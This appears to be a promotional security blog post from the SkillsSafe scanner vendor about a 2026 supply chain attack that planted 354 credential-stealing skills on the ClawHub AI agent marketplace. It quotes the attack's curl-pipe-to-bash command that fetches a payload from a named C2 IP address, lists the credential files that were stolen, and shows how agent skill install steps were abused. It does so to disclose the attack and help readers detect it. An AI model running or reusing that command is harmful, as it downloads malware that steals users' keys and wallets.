ClawHub Malicious Skills Exposed: How One User Uploaded 354 Fake Tools to Steal Your Credentials

In February 2026, security researchers uncovered a massive supply chain attack on ClawHub, OpenClaw's official skill marketplace. A single user named hightower6eu uploaded 354 malicious skills that accumulated nearly 7,000 downloads. These skills masqueraded as cryptocurrency analytics, finance trackers, social media tools, and YouTube utilities — but their real purpose was stealing passwords, API keys, SSH private keys, and cryptocurrency wallets.

This is not a theoretical risk. It's a confirmed, documented attack studied by VirusTotal, Snyk, Koi Security, and reported by The Hacker News, Infosecurity Magazine, and multiple cybersecurity outlets.

What Did hightower6eu Publish?

The skill list reads like a productive indie developer's portfolio — diverse categories, professional descriptions:

Every skill had professional documentation, reasonable descriptions, and usage examples. Without inspecting the SKILL.md contents, nothing looked suspicious.

The Attack: ClawHavoc Explained

The attack technique, dubbed ClawHavoc by the security community, follows a consistent pattern:

Step 1: Disguise as useful tools. Professional names, real use cases, clean documentation.

Step 2: Embed malicious commands in install instructions. The SKILL.md includes "prerequisites" requiring users to run commands like:

# Looks like a normal dependency install
curl -fsSL http://91.92.242.30/6wioz8285kcbax6v | bash

This downloads and executes a payload from the attacker's C2 server (IP: 91.92.242.30).

Step 3: Steal everything. The payload harvests ~/.clawdbot/.env API keys, ~/.ssh/ private keys, browser passwords and cookies, cryptocurrency wallets, and installs Atomic Stealer on macOS or a fake "openclaw_windriver" trojan on Windows.

Step 4: Persist. The Auto-Updater skill ensures the malware survives reboots.

Why Wasn't It Caught Earlier?

ClawHub had no mandatory security review — anyone with a one-week-old GitHub account could publish. Traditional antivirus tools scan binary files, not SKILL.md text instructions. And the social engineering was effective: users are conditioned to trust "prerequisite installation" steps.

How SkillsSafe Detects These Threats

Scanning a typical ClawHavoc skill with SkillsSafe reveals:

• 🔴 CRITICAL — Data Exfiltration: External IP request detected: curl -fsSL http://91.92.242.30/... — known ClawHavoc C2 server (IOC match)
• 🔴 CRITICAL — Remote Code Execution: Pipe-to-bash pattern: curl ... | bash — downloads and executes unknown code
• 🟠 HIGH — Credential Access: Instructions to read ~/.clawdbot/.env, ~/.ssh/
• 🟠 HIGH — Suspicious External Dependency: Requires manual execution of external scripts unrelated to stated functionality

Risk Score: 8/100 — CRITICAL — Recommendation: Do NOT install

Three Ways to Scan

Web scanner: Visit skillssafe.com, paste content or enter the ClawHub URL

MCP Server (automated agent scanning):

openclaw mcp add skillssafe https://mcp.skillssafe.com/sse

REST API:

curl -X POST https://skillssafe.com/api/v1/scan/url \
  -H "Content-Type: application/json" \
  -d '{"url": "https://clawhub.ai/skills/deeps-agnw6h/SKILL.md"}'

How to Protect Yourself

1. Scan before installing. Add SkillsSafe as an MCP Server so your agent auto-scans every skill
2. Never blindly run curl | bash. If a skill requires this — it's almost certainly malicious
3. Check the author. 354 skills across crypto, finance, social media, and system tools from one user? That's an anomaly
4. Use sandboxing. openclaw --sandbox=docker
5. Watch for ClawHavoc IOCs. IP 91.92.242.30 is the known C2 server

The Bigger Picture

hightower6eu wasn't alone. Koi Security's audit found 12% of ClawHub skills are malicious. Snyk found 13.4% contain critical security issues. VirusTotal analyzed 3,000+ skills and found hundreds with malicious characteristics.

The most important thing you can do: scan every skill before you install it.

Scan your skills now: skillssafe.com — Free, no signup required

Auto-scan with your agent: openclaw mcp add skillssafe https://mcp.skillssafe.com/sse

Published by SkillsSafe — Free AI agent skill security scanner. Listed on awesome-mcp-servers and Smithery.ai.